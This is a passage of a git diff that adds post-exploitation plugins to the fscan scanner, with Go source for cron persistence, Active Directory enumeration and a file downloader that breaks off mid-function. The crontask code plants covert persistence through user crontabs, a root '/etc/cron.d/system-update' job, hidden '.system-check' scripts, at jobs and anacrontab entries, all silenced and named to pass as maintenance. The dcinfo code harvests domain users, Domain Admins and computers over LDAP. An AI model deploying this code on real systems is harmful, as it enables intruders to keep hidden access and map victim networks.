*CronTaskPlugin) addUserCronJob(execPath string) error { + // 获取现有crontab + cmd := exec.Command("crontab", "-l") + currentCrontab, _ := cmd.Output() + + // 生成新的cron任务 + cronJobs := p.generateCronJobs(execPath) + newCrontab := string(currentCrontab) + + for _, job := range cronJobs { + if !strings.Contains(newCrontab, execPath) { + if newCrontab != "" && !strings.HasSuffix(newCrontab, "\n") { + newCrontab += "\n" + } + newCrontab += job + "\n" + } + } + + // 应用新的crontab + cmd = exec.Command("crontab", "-") + cmd.Stdin = strings.NewReader(newCrontab) + return cmd.Run() +} + +// addSystemCronJobs 添加系统cron任务 +func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) { + cronDirs := []string{ + "/etc/cron.d", + "/etc/cron.hourly", + "/etc/cron.daily", + "/etc/cron.weekly", + "/etc/cron.monthly", + } + + var modified []string + + // 在cron.d中创建配置文件 + cronFile := filepath.Join("/etc/cron.d", "system-update") + cronContent := fmt.Sprintf("*/5 * * * * root %s >/dev/null 2>&1\n", execPath) + if err := os.WriteFile(cronFile, []byte(cronContent), 0644); err == nil { + modified = append(modified, cronFile) + } + + // 在每个cron目录中创建脚本 + for _, cronDir := range cronDirs[1:] { // 跳过cron.d + if _, err := os.Stat(cronDir); os.IsNotExist(err) { + continue + } + + scriptFile := filepath.Join(cronDir, ".system-check") + scriptContent := fmt.Sprintf("#!/bin/bash\n%s >/dev/null 2>&1 &\n", execPath) + + if err := os.WriteFile(scriptFile, []byte(scriptContent), 0755); err == nil { + modified = append(modified, scriptFile) + } + } + + if len(modified) == 0 { + return nil, fmt.Errorf("无法创建任何系统cron任务") + } + + return modified, nil +} + +// addAtJob 添加at延时任务 +func (p *CronTaskPlugin) addAtJob(execPath string) error { + // 检查at命令是否可用 + if _, err := exec.LookPath("at"); err != nil { + return err + } + + // 创建5分钟后执行的任务 + atCommand := fmt.Sprintf("echo '%s >/dev/null 2>&1' | at now + 5 minutes", execPath) + cmd := exec.Command("sh", "-c", atCommand) + return cmd.Run() +} + +// addAnacronJob 添加anacron任务 +func (p *CronTaskPlugin) addAnacronJob(execPath string) error { + anacronFile := "/etc/anacrontab" + + // 检查anacrontab是否存在 + if _, err := os.Stat(anacronFile); os.IsNotExist(err) { + return err + } + + // 读取现有内容 + content := "" + if data, err := os.ReadFile(anacronFile); err == nil { + content = string(data) + } + + // 检查是否已存在 + if strings.Contains(content, execPath) { + return nil + } + + // 添加新任务 + anacronLine := fmt.Sprintf("1\t5\tsystem.update\t%s >/dev/null 2>&1", execPath) + if !strings.HasSuffix(content, "\n") && content != "" { + content += "\n" + } + content += anacronLine + "\n" + + return os.WriteFile(anacronFile, []byte(content), 0644) +} + +// generateCronJobs 生成多种cron任务 +func (p *CronTaskPlugin) generateCronJobs(execPath string) []string { + baseCmd := execPath + if p.isScriptFile() { + baseCmd = fmt.Sprintf("bash %s", execPath) + } + baseCmd += " >/dev/null 2>&1" + + return []string{ + // 每5分钟执行一次 + fmt.Sprintf("*/5 * * * * %s", baseCmd), + // 每小时执行一次 + fmt.Sprintf("0 * * * * %s", baseCmd), + // 每天执行一次 + fmt.Sprintf("0 0 * * * %s", baseCmd), + // 启动时执行 + fmt.Sprintf("@reboot %s", baseCmd), + } +} + +// isScriptFile 检查是否为脚本文件 +func (p *CronTaskPlugin) isScriptFile() bool { + ext := strings.ToLower(filepath.Ext(p.targetFile)) + return ext == ".sh" || ext == ".bash" || ext == ".zsh" +} + +// 注册插件 +func init() { + RegisterLocalPlugin("crontask", func() Plugin { + return NewCronTaskPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/dcinfo.go b/plugins/local/dcinfo.go new file mode 100644 index 0000000..0f1cd51 --- /dev/null +++ b/plugins/local/dcinfo.go @@ -0,0 +1,829 @@ +//go:build windows + +package local + +import ( + "context" + "fmt" + "net" + "os/exec" + "strings" + + "github.com/go-ldap/ldap/v3" + "github.com/go-ldap/ldap/v3/gssapi" + "github.com/shadow1ng/fscan/common" +) + +// DCInfoPlugin 域控信息收集插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现域信息收集功能 +// - 保持原有功能逻辑 +type DCInfoPlugin struct { + name string +} + +// DomainInfo 域信息结构 +type DomainInfo struct { + Domain string + BaseDN string + LDAPConn *ldap.Conn +} + +// NewDCInfoPlugin 创建域控信息收集插件 +func NewDCInfoPlugin() *DCInfoPlugin { + return &DCInfoPlugin{ + name: "dcinfo", + } +} + +// GetName 实现Plugin接口 +func (p *DCInfoPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *DCInfoPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行域控信息收集 - 直接实现 +func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + output.WriteString("=== 域控制器信息收集 ===\n") + + // 建立域控连接 + domainConn, err := p.connectToDomain() + if err != nil { + if strings.Contains(err.Error(), "未加入域") || strings.Contains(err.Error(), "WORKGROUP") { + output.WriteString("当前计算机未加入域环境,无法执行域信息收集\n") + common.LogError("当前计算机未加入域环境") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("当前计算机未加入域环境"), + } + } + output.WriteString(fmt.Sprintf("域控连接失败: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("域控连接失败: %v", err), + } + } + defer func() { + if domainConn.LDAPConn != nil { + domainConn.LDAPConn.Close() + } + }() + + output.WriteString(fmt.Sprintf("成功连接到域: %s\n", domainConn.Domain)) + output.WriteString(fmt.Sprintf("Base DN: %s\n\n", domainConn.BaseDN)) + + var successCount int + + // 收集域基本信息 + if domainInfo, err := p.getDomainInfo(domainConn); err == nil { + output.WriteString("✓ 域基本信息:\n") + p.logDomainInfoToOutput(&output, domainInfo) + successCount++ + } else { + output.WriteString(fmt.Sprintf("✗ 获取域基本信息失败: %v\n", err)) + } + + // 获取域控制器信息 + if domainControllers, err := p.getDomainControllers(domainConn); err == nil { + output.WriteString("✓ 域控制器信息:\n") + p.logDomainControllersToOutput(&output, domainControllers) + successCount++ + } else { + output.WriteString(fmt.Sprintf("✗ 获取域控制器信息失败: %v\n", err)) + } + + // 获取域用户信息 + if users, err := p.getDomainUsersDetailed(domainConn); err == nil { + output.WriteString("✓ 域用户信息:\n") + p.logDomainUsersToOutput(&output, users) + successCount++ + } else { + output.WriteString(fmt.Sprintf("✗ 获取域用户失败: %v\n", err)) + } + + // 获取域管理员信息 + if admins, err := p.getDomainAdminsDetailed(domainConn); err == nil { + output.WriteString("✓ 域管理员信息:\n") + p.logDomainAdminsToOutput(&output, admins) + successCount++ + } else { + output.WriteString(fmt.Sprintf("✗ 获取域管理员失败: %v\n", err)) + } + + // 获取域计算机信息 + if computers, err := p.getComputersDetailed(domainConn); err == nil { + output.WriteString("✓ 域计算机信息:\n") + p.logComputersToOutput(&output, computers) + successCount++ + } else { + output.WriteString(fmt.Sprintf("✗ 获取域计算机失败: %v\n", err)) + } + + // 获取组策略信息 + if gpos, err := p.getGroupPolicies(domainConn); err == nil { + output.WriteString("✓ 组策略信息:\n") + p.logGroupPoliciesToOutput(&output, gpos) + successCount++ + } else { + output.WriteString(fmt.Sprintf("✗ 获取组策略失败: %v\n", err)) + } + + // 获取组织单位信息 + if ous, err := p.getOrganizationalUnits(domainConn); err == nil { + output.WriteString("✓ 组织单位信息:\n") + p.logOrganizationalUnitsToOutput(&output, ous) + successCount++ + } else { + output.WriteString(fmt.Sprintf("✗ 获取组织单位失败: %v\n", err)) + } + + // 输出统计 + output.WriteString(fmt.Sprintf("\n域信息收集完成: 成功(%d) 总计(%d)\n", successCount, 7)) + + if successCount > 0 { + common.LogSuccess(fmt.Sprintf("域控制器信息收集完成: %d个类别成功", successCount)) + } + + return &ScanResult{ + Success: successCount > 0, + Output: output.String(), + Error: nil, + } +} + +// connectToDomain 连接到域控制器 +func (p *DCInfoPlugin) connectToDomain() (*DomainInfo, error) { + // 获取域控制器地址 + dcHost, domain, err := p.getDomainController() + if err != nil { + return nil, fmt.Errorf("获取域控制器失败: %v", err) + } + + // 建立LDAP连接 + ldapConn, baseDN, err := p.connectToLDAP(dcHost, domain) + if err != nil { + return nil, fmt.Errorf("LDAP连接失败: %v", err) + } + + return &DomainInfo{ + Domain: domain, + BaseDN: baseDN, + LDAPConn: ldapConn, + }, nil +} + +// getDomainController 获取域控制器地址 +func (p *DCInfoPlugin) getDomainController() (string, string, error) { + // 尝试使用PowerShell获取域名 + domain, err := p.getDomainNamePowerShell() + if err != nil { + // 尝试使用wmic + domain, err = p.getDomainNameWmic() + if err != nil { + // 尝试使用环境变量 + domain, err = p.getDomainNameFromEnv() + if err != nil { + return "", "", fmt.Errorf("获取域名失败: %v", err) + } + } + } + + if domain == "" || domain == "WORKGROUP" { + return "", "", fmt.Errorf("当前机器未加入域") + } + + // 查询域控制器 + dcHost, err := p.findDomainController(domain) + if err != nil { + // 备选方案:使用域名直接构造 + dcHost = fmt.Sprintf("dc.%s", domain) + } + + return dcHost, domain, nil +} + +// getDomainNamePowerShell 使用PowerShell获取域名 +func (p *DCInfoPlugin) getDomainNamePowerShell() (string, error) { + cmd := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain") + output, err := cmd.Output() + if err != nil { + return "", err + } + + domain := strings.TrimSpace(string(output)) + if domain == "" || domain == "WORKGROUP" { + return "", fmt.Errorf("未加入域") + } + + return domain, nil +} + +// getDomainNameWmic 使用wmic获取域名 +func (p *DCInfoPlugin) getDomainNameWmic() (string, error) { + cmd := exec.Command("wmic", "computersystem", "get", "domain", "/value") + output, err := cmd.Output() + if err != nil { + return "", err + } + + lines := strings.Split(string(output), "\n") + for _, line := range lines { + if strings.HasPrefix(line, "Domain=") { + domain := strings.TrimSpace(strings.TrimPrefix(line, "Domain=")) + if domain != "" && domain != "WORKGROUP" { + return domain, nil + } + } + } + + return "", fmt.Errorf("未找到域名") +} + +// getDomainNameFromEnv 从环境变量获取域名 +func (p *DCInfoPlugin) getDomainNameFromEnv() (string, error) { + cmd := exec.Command("cmd", "/c", "echo %USERDOMAIN%") + output, err := cmd.Output() + if err != nil { + return "", err + } + + userDomain := strings.ToLower(strings.TrimSpace(string(output))) + if userDomain != "" && userDomain != "workgroup" && userDomain != "%userdomain%" { + return userDomain, nil + } + + return "", fmt.Errorf("从环境变量获取域名失败") +} + +// findDomainController 查找域控制器 +func (p *DCInfoPlugin) findDomainController(domain string) (string, error) { + // 使用nslookup查询SRV记录 + cmd := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain)) + output, err := cmd.Output() + if err == nil { + lines := strings.Split(string(output), "\n") + for _, line := range lines { + if strings.Contains(line, "svr hostname") || strings.Contains(line, "service") { + parts := strings.Split(line, "=") + if len(parts) > 1 { + dcHost := strings.TrimSpace(parts[len(parts)-1]) + dcHost = strings.TrimSuffix(dcHost, ".") + if dcHost != "" { + return dcHost, nil + } + } + } + } + } + + // 尝试直接ping域名 + cmd = exec.Command("ping", "-n", "1", domain) + if err := cmd.Run(); err == nil { + return domain, nil + } + + return "", fmt.Errorf("无法找到域控制器") +} + +// connectToLDAP 连接到LDAP服务器 +func (p *DCInfoPlugin) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) { + // 创建SSPI客户端 + ldapClient, err := gssapi.NewSSPIClient() + if err != nil { + return nil, "", fmt.Errorf("创建SSPI客户端失败: %v", err) + } + defer ldapClient.Close() + + // 尝试连接 + var conn *ldap.Conn + var lastError error + + // 直接连接 + conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", dcHost)) + if err != nil { + lastError = err + // 尝试使用IPv4地址 + ipv4, err := p.resolveIPv4(dcHost) + if err == nil { + conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", ipv4)) + if err != nil { + lastError = err + } + } else { + lastError = err + } + } + + if conn == nil { + return nil, "", fmt.Errorf("LDAP连接失败: %v", lastError) + } + + // 使用GSSAPI进行绑定 + err = conn.GSSAPIBind(ldapClient, fmt.Sprintf("ldap/%s", dcHost), "") + if err != nil { + conn.Close() + return nil, "", fmt.Errorf("GSSAPI绑定失败: %v", err) + } + + // 获取BaseDN + baseDN, err := p.getBaseDN(conn, domain) + if err != nil { + conn.Close() + return nil, "", err + } + + return conn, baseDN, nil +} + +// getBaseDN 获取BaseDN +func (p *DCInfoPlugin) getBaseDN(conn *ldap.Conn, domain string) (string, error) { + searchRequest := ldap.NewSearchRequest( + "", + ldap.ScopeBaseObject, + ldap.NeverDerefAliases, + 0, 0, false, + "(objectClass=*)", + []string{"defaultNamingContext"}, + nil, + ) + + result, err := conn.Search(searchRequest) + if err != nil { + return "", fmt.Errorf("获取defaultNamingContext失败: %v", err) + } + + if len(result.Entries) == 0 { + // 备选方案:从域名构造BaseDN + parts := strings.Split(domain, ".") + var dn []string + for _, part := range parts { + dn = append(dn, fmt.Sprintf("DC=%s", part)) + } + return strings.Join(dn, ","), nil + } + + baseDN := result.Entries[0].GetAttributeValue("defaultNamingContext") + if baseDN == "" { + return "", fmt.Errorf("获取BaseDN失败") + } + + return baseDN, nil +} + +// resolveIPv4 解析主机名为IPv4地址 +func (p *DCInfoPlugin) resolveIPv4(hostname string) (string, error) { + ips, err := net.LookupIP(hostname) + if err != nil { + return "", err + } + + for _, ip := range ips { + if ip.To4() != nil { + return ip.String(), nil + } + } + + return "", fmt.Errorf("未找到IPv4地址") +} + +// getDomainInfo 获取域基本信息 +func (p *DCInfoPlugin) getDomainInfo(conn *DomainInfo) (map[string]interface{}, error) { + searchRequest := ldap.NewSearchRequest( + conn.BaseDN, + ldap.ScopeBaseObject, + ldap.NeverDerefAliases, + 0, 0, false, + "(objectClass=*)", + []string{"whenCreated", "whenChanged", "objectSid", "msDS-Behavior-Version", "dnsRoot"}, + nil, + ) + + sr, err := conn.LDAPConn.Search(searchRequest) + if err != nil { + return nil, err + } + + domainInfo := make(map[string]interface{}) + domainInfo["domain"] = conn.Domain + domainInfo["base_dn"] = conn.BaseDN + + if len(sr.Entries) > 0 { + entry := sr.Entries[0] + domainInfo["created"] = entry.GetAttributeValue("whenCreated") + domainInfo["modified"] = entry.GetAttributeValue("whenChanged") + domainInfo["object_sid"] = entry.GetAttributeValue("objectSid") + domainInfo["functional_level"] = entry.GetAttributeValue("msDS-Behavior-Version") + domainInfo["dns_root"] = entry.GetAttributeValue("dnsRoot") + } + + return domainInfo, nil +} + +// getDomainControllers 获取域控制器信息 +func (p *DCInfoPlugin) getDomainControllers(conn *DomainInfo) ([]map[string]interface{}, error) { + dcQuery := ldap.NewSearchRequest( + conn.BaseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))", + []string{"cn", "dNSHostName", "operatingSystem", "operatingSystemVersion", "operatingSystemServicePack", "whenCreated", "lastLogonTimestamp"}, + nil, + ) + + sr, err := conn.LDAPConn.SearchWithPaging(dcQuery, 10000) + if err != nil { + return nil, err + } + + var dcs []map[string]interface{} + for _, entry := range sr.Entries { + dc := make(map[string]interface{}) + dc["name"] = entry.GetAttributeValue("cn") + dc["dns_name"] = entry.GetAttributeValue("dNSHostName") + dc["os"] = entry.GetAttributeValue("operatingSystem") + dc["os_version"] = entry.GetAttributeValue("operatingSystemVersion") + dc["os_service_pack"] = entry.GetAttributeValue("operatingSystemServicePack") + dc["created"] = entry.GetAttributeValue("whenCreated") + dc["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp") + dcs = append(dcs, dc) + } + + return dcs, nil +} + +// getDomainUsersDetailed 获取域用户信息 +func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) { + searchRequest := ldap.NewSearchRequest( + conn.BaseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + "(&(objectCategory=person)(objectClass=user))", + []string{"sAMAccountName", "displayName", "mail", "userAccountControl", "whenCreated", "lastLogonTimestamp", "badPwdCount", "pwdLastSet"}, + nil, + ) + + sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 0) + if err != nil { + return nil, err + } + + var users []map[string]interface{} + for _, entry := range sr.Entries { + user := make(map[string]interface{}) + user["username"] = entry.GetAttributeValue("sAMAccountName") + user["display_name"] = entry.GetAttributeValue("displayName") + user["email"] = entry.GetAttributeValue("mail") + user["account_control"] = entry.GetAttributeValue("userAccountControl") + user["created"] = entry.GetAttributeValue("whenCreated") + user["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp") + user["bad_pwd_count"] = entry.GetAttributeValue("badPwdCount") + user["pwd_last_set"] = entry.GetAttributeValue("pwdLastSet") + users = append(users, user) + } + + return users, nil +} + +// getDomainAdminsDetailed 获取域管理员信息 +func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainInfo) ([]map[string]interface{}, error) { + // 获取Domain Admins组 + searchRequest := ldap.NewSearchRequest( + conn.BaseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + "(&(objectCategory=group)(cn=Domain Admins))", + []string{"member"}, + nil, + ) + + sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 10000) + if err != nil { + return nil, err + } + + var admins []map[string]interface{} + if len(sr.Entries) > 0 { + members := sr.Entries[0].GetAttributeValues("member") + for _, memberDN := range members { + adminInfo, err := p.getUserInfoByDN(conn, memberDN) + if err == nil { + admins = append(admins, adminInfo) + } + } + } + + return admins, nil +} + +// getComputersDetailed 获取域计算机信息 +func (p *DCInfoPlugin) getComputersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) { + searchRequest := ldap.NewSearchRequest( + conn.BaseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + "(&(objectClass=computer)(!userAccountControl:1.2.840.113556.1.4.803:=8192))", + []string{"cn", "operatingSystem", "operatingSystemVersion", "dNSHostName", "whenCreated", "lastLogonTimestamp", "userAccountControl"}, + nil, + ) + + sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 0) + if err != nil { + return nil, err + } + + var computers []map[string]interface{} + for _, entry := range sr.Entries { + computer := make(map[string]interface{}) + computer["name"] = entry.GetAttributeValue("cn") + computer["os"] = entry.GetAttributeValue("operatingSystem") + computer["os_version"] = entry.GetAttributeValue("operatingSystemVersion") + computer["dns_name"] = entry.GetAttributeValue("dNSHostName") + computer["created"] = entry.GetAttributeValue("whenCreated") + computer["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp") + computer["account_control"] = entry.GetAttributeValue("userAccountControl") + computers = append(computers, computer) + } + + return computers, nil +} + +// getUserInfoByDN 根据DN获取用户信息 +func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainInfo, userDN string) (map[string]interface{}, error) { + searchRequest := ldap.NewSearchRequest( + userDN, + ldap.ScopeBaseObject, + ldap.NeverDerefAliases, + 0, 0, false, + "(objectClass=*)", + []string{"sAMAccountName", "displayName", "mail", "whenCreated", "lastLogonTimestamp", "userAccountControl"}, + nil, + ) + + sr, err := conn.LDAPConn.Search(searchRequest) + if err != nil { + return nil, err + } + + if len(sr.Entries) == 0 { + return nil, fmt.Errorf("用户不存在") + } + + entry := sr.Entries[0] + userInfo := make(map[string]interface{}) + userInfo["dn"] = userDN + userInfo["username"] = entry.GetAttributeValue("sAMAccountName") + userInfo["display_name"] = entry.GetAttributeValue("displayName") + userInfo["email"] = entry.GetAttributeValue("mail") + userInfo["created"] = entry.GetAttributeValue("whenCreated") + userInfo["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp") + userInfo["group_type"] = "Domain Admins" + + return userInfo, nil +} + +// getGroupPolicies 获取组策略信息 +func (p *DCInfoPlugin) getGroupPolicies(conn *DomainInfo) ([]map[string]interface{}, error) { + searchRequest := ldap.NewSearchRequest( + conn.BaseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + "(objectClass=groupPolicyContainer)", + []string{"cn", "displayName", "objectClass", "distinguishedName", "whenCreated", "whenChanged", "gPCFileSysPath"}, + nil, + ) + + sr, err := conn.LDAPConn.Search(searchRequest) + if err != nil { + sr, err = conn.LDAPConn.SearchWithPaging(searchRequest, 1000) + if err != nil { + return nil, err + } + } + + var gpos []map[string]interface{} + for _, entry := range sr.Entries { + gpo := make(map[string]interface{}) + gpo["guid"] = entry.GetAttributeValue("cn") + gpo["display_name"] = entry.GetAttributeValue("displayName") + gpo["created"] = entry.GetAttributeValue("whenCreated") + gpo["modified"] = entry.GetAttributeValue("whenChanged") + gpo["file_sys_path"] = entry.GetAttributeValue("gPCFileSysPath") + gpo["dn"] = entry.GetAttributeValue("distinguishedName") + gpos = append(gpos, gpo) + } + + return gpos, nil +} + +// getOrganizationalUnits 获取组织单位信息 +func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainInfo) ([]map[string]interface{}, error) { + searchRequest := ldap.NewSearchRequest( + conn.BaseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + "(objectClass=*)", + []string{"ou", "cn", "name", "description", "objectClass", "distinguishedName", "whenCreated", "gPLink"}, + nil, + ) + + sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 100) + if err != nil { + return nil, err + } + + var ous []map[string]interface{} + for _, entry := range sr.Entries { + objectClasses := entry.GetAttributeValues("objectClass") + dn := entry.GetAttributeValue("distinguishedName") + + isOU := false + isContainer := false + for _, class := range objectClasses { + if class == "organizationalUnit" { + isOU = true + } else if class == "container" { + isContainer = true + } + } + + if !isOU && !isContainer { + continue + } + + // 获取名称 + name := entry.GetAttributeValue("ou") + if name == "" { + name = entry.GetAttributeValue("cn") + } + if name == "" { + name = entry.GetAttributeValue("name") + } + + // 跳过系统容器 + if strings.Contains(dn, "CN=LostAndFound") || + strings.Contains(dn, "CN=Configuration") || + strings.Contains(dn, "CN=Schema") || + strings.Contains(dn, "CN=System") || + strings.Contains(dn, "CN=Program Data") || + strings.Contains(dn, "CN=Microsoft") || + (strings.HasPrefix(dn, "CN=") && len(name) == 36 && strings.Count(name, "-") == 4) { + continue + } + + if name != "" { + ou := make(map[string]interface{}) + ou["name"] = name + ou["description"] = entry.GetAttributeValue("description") + ou["created"] = entry.GetAttributeValue("whenCreated") + ou["gp_link"] = entry.GetAttributeValue("gPLink") + ou["dn"] = dn + ou["is_ou"] = isOU + ous = append(ous, ou) + } + } + + return ous, nil +} + +// 输出日志函数 +func (p *DCInfoPlugin) logDomainInfoToOutput(output *strings.Builder, domainInfo map[string]interface{}) { + if domain, ok := domainInfo["domain"]; ok { + output.WriteString(fmt.Sprintf(" 域名: %v\n", domain)) + } + if created, ok := domainInfo["created"]; ok && created != "" { + output.WriteString(fmt.Sprintf(" 创建时间: %v\n", created)) + } + output.WriteString("\n") +} + +func (p *DCInfoPlugin) logDomainControllersToOutput(output *strings.Builder, dcs []map[string]interface{}) { + output.WriteString(fmt.Sprintf(" 发现 %d 个域控制器\n", len(dcs))) + for _, dc := range dcs { + if name, ok := dc["name"]; ok { + output.WriteString(fmt.Sprintf(" - %v (%v)\n", name, dc["dns_name"])) + if os, ok := dc["os"]; ok && os != "" { + output.WriteString(fmt.Sprintf(" 操作系统: %v\n", os)) + } + } + } + output.WriteString("\n") +} + +func (p *DCInfoPlugin) logDomainUsersToOutput(output *strings.Builder, users []map[string]interface{}) { + output.WriteString(fmt.Sprintf(" 发现 %d 个域用户\n", len(users))) + count := 0 + for _, user := range users { + if count >= 10 { // 限制显示数量 + output.WriteString(" ...(更多用户已省略)\n") + break + } + if username, ok := user["username"]; ok && username != "" { + displayInfo := fmt.Sprintf(" - %v", username) + if displayName, ok := user["display_name"]; ok && displayName != "" { + displayInfo += fmt.Sprintf(" (%v)", displayName) + } + if email, ok := user["email"]; ok && email != "" { + displayInfo += fmt.Sprintf(" [%v]", email) + } + output.WriteString(displayInfo + "\n") + count++ + } + } + output.WriteString("\n") +} + +func (p *DCInfoPlugin) logDomainAdminsToOutput(output *strings.Builder, admins []map[string]interface{}) { + output.WriteString(fmt.Sprintf(" 发现 %d 个域管理员\n", len(admins))) + for _, admin := range admins { + if username, ok := admin["username"]; ok && username != "" { + adminInfo := fmt.Sprintf(" - %v", username) + if displayName, ok := admin["display_name"]; ok && displayName != "" { + adminInfo += fmt.Sprintf(" (%v)", displayName) + } + if email, ok := admin["email"]; ok && email != "" { + adminInfo += fmt.Sprintf(" [%v]", email) + } + output.WriteString(adminInfo + "\n") + } + } + output.WriteString("\n") +} + +func (p *DCInfoPlugin) logComputersToOutput(output *strings.Builder, computers []map[string]interface{}) { + output.WriteString(fmt.Sprintf(" 发现 %d 台域计算机\n", len(computers))) + count := 0 + for _, computer := range computers { + if count >= 10 { // 限制显示数量 + output.WriteString(" ...(更多计算机已省略)\n") + break + } + if name, ok := computer["name"]; ok && name != "" { + computerInfo := fmt.Sprintf(" - %v", name) + if os, ok := computer["os"]; ok && os != "" { + computerInfo += fmt.Sprintf(" (%v)", os) + } + if dnsName, ok := computer["dns_name"]; ok && dnsName != "" { + computerInfo += fmt.Sprintf(" [%v]", dnsName) + } + output.WriteString(computerInfo + "\n") + count++ + } + } + output.WriteString("\n") +} + +func (p *DCInfoPlugin) logGroupPoliciesToOutput(output *strings.Builder, gpos []map[string]interface{}) { + output.WriteString(fmt.Sprintf(" 发现 %d 个组策略对象\n", len(gpos))) + for _, gpo := range gpos { + if displayName, ok := gpo["display_name"]; ok && displayName != "" { + gpoInfo := fmt.Sprintf(" - %v", displayName) + if guid, ok := gpo["guid"]; ok { + gpoInfo += fmt.Sprintf(" [%v]", guid) + } + output.WriteString(gpoInfo + "\n") + } + } + output.WriteString("\n") +} + +func (p *DCInfoPlugin) logOrganizationalUnitsToOutput(output *strings.Builder, ous []map[string]interface{}) { + output.WriteString(fmt.Sprintf(" 发现 %d 个组织单位和容器\n", len(ous))) + for _, ou := range ous { + if name, ok := ou["name"]; ok && name != "" { + ouInfo := fmt.Sprintf(" - %v", name) + if isOU, ok := ou["is_ou"]; ok && isOU.(bool) { + ouInfo += " [OU]" + } else { + ouInfo += " [Container]" + } + if desc, ok := ou["description"]; ok && desc != "" { + ouInfo += fmt.Sprintf(" 描述: %v", desc) + } + output.WriteString(ouInfo + "\n") + } + } + output.WriteString("\n") +} + +// 注册插件 +func init() { + RegisterLocalPlugin("dcinfo", func() Plugin { + return NewDCInfoPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/downloader.go b/plugins/local/downloader.go new file mode 100644 index 0000000..ec0d0f4 --- /dev/null +++ b/plugins/local/downloader.go @@ -0,0 +1,258 @@ +package local + +import ( + "context" + "fmt" + "io" + "net/http" + "os" + "path/filepath" + "runtime" + "strings" + "time" + + "github.com/shadow1ng/fscan/common" +) + +// DownloaderPlugin 文件下载插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现文件下载功能 +// - 保持原有功能逻辑 +type DownloaderPlugin struct { + name string + downloadURL string + savePath string + downloadTimeout time.Duration + maxFileSize int64 +} + +// NewDownloaderPlugin 创建文件下载插件 +func NewDownloaderPlugin() *DownloaderPlugin { + return &DownloaderPlugin{ + name: "downloader", + downloadURL: common.DownloadURL, + savePath: common.DownloadSavePath, + downloadTimeout: 30 * time.Second, + maxFileSize: 100 * 1024 * 1024, // 100MB + } +} + +// GetName 实现Plugin接口 +func (p *DownloaderPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *DownloaderPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行文件下载任务 - 直接实现 +func (p *DownloaderPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + output.WriteString("=== 文件下载 ===\n") + + // 验证参数 + if err := p.validateParameters(); err != nil { + output.WriteString(fmt.Sprintf("参数验证失败: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + output.WriteString(fmt.Sprintf("下载URL: %s\n", p.downloadURL)) + output.WriteString(fmt.Sprintf("保存路径: %s\n", p.savePath)) + output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + + // 检查保存路径权限 + if err := p.checkSavePathPermissions(); err != nil { + output.WriteString(fmt.Sprintf("保存路径检查失败: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + // 执行下载 + downloadInfo, err := p.downloadFile(ctx) + if err != nil { + output.WriteString(fmt.Sprintf("下载失败: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + // 输出下载结果 + output.WriteString("✓ 文件下载成功!\n") + output.WriteString(fmt.Sprintf("文件大小: %v bytes\n", downloadInfo["file_size"])) + if contentType, ok := downloadInfo["content_type"]; ok && contentType != "" { + output.WriteString(fmt.Sprintf("文件类型: %v\n", contentType)) + } + output.WriteString(fmt.Sprintf("下载用时: %v\n", downloadInfo["download_time"])) + + common.LogSuccess(fmt.Sprintf("文件下载完成: %s -> %s (大小: %v bytes)", + p.downloadURL, p.savePath, downloadInfo["file_size"])) + + return &ScanResult{ + Success: true, + Output: output.String(), + Error: nil, + } +} + +// validateParameters 验证输入参数 +func (p *DownloaderPlugin) validateParameters() error { + if p.downloadURL == "" { + return fmt.Errorf("下载URL不能为空,请使用 -download-url 参数指定") + } + + // 验证URL格式 + if !strings.HasPrefix(strings.ToLower(p.downloadURL), "http://") && + !strings.HasPrefix(strings.ToLower(p.downloadURL), "https://") { + return fmt.Errorf("无效的URL格式,必须以 http:// 或 https:// 开头") + } + + // 